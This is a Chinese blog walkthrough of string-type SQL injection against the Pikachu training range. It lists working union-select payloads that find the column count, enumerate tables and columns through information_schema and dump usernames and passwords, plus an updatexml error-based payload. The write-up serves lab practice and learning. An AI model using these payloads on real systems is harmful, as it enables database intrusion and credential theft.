pikachu字符型注入

1.字符型注入吧。直接就 1'   报错了

2.存在字符型注入

3.  1' order by 1#    和   1' order by 2#   返回正常      3时报错。这样就知道了,字段数为2,两列数据

4.  确定一下字段的显示位置嘛。

1' union select 1,2#

5.查一下数据库名

1' union select database(),version()#              /**数据库名和版本**/

只有数据库5.0以上的版本,才会存在information_schema表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表等信息;如果你的数据库没5.0以上,接下来的操作会有些查不到

6.知道库名了,获取数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

当然,我们知道库叫pikachu,可以把最后的database()换成'pikachu'  。其实可以省略第五步的

还有一个点,我也是今天才知道。当你的字段数比较多的时候,比如你有10个。而你的字段显示位在9,我们不能一味的套语句了。

就假设这题是这样吧。10个字段数,字段显示位在9.我们的语句应该时这样

1' union select 1,2,3,4,5,6,7,8,group_concat(table_name),10 from information_schema.tables where table_schema=database()#

哪里不同显而易见,什么愿意自己去查

7.获取表中的字段名

现在表名知道了,以看就知道用户信息在users表中啊,直接查user表中的字段

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

看看,username,password全在里面。(图没截完整)

8.最后获取账号密码了

1' union select username,password from users#

OK了,完事。密码自个去解密

另外在记个东西,报错注入语句

1' or updatexml(1,concat(0x7e,database()),0) or' 

 

 

 

 

 

  • 4
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Pikachu靶场中,有多种类的SQL注入漏洞可以进行测试和学习。这些类包括数字注入字符注入、搜索注入、xx注入、insert/update注入、delete注入、http头注入、盲注(基于布尔值)和盲注(基于时间)以及宽字节注入等。你可以使用工具如sqlmap来进行注入测试,通过构造恶意的SQL语句来获取数据库中的信息。例如,使用sqlmap命令可以指定目标URL和参数,然后进行注入测试,获取数据库中的表信息。\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* [Pikachu漏洞靶场系列之SQL注入](https://blog.csdn.net/weixin_45868644/article/details/120237977)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [pikachu靶场通关之sql注入系列](https://blog.csdn.net/qq_51902218/article/details/120333234)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [Pikachu(皮卡丘)靶场中SQL注入](https://blog.csdn.net/weixin_44268918/article/details/128317939)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值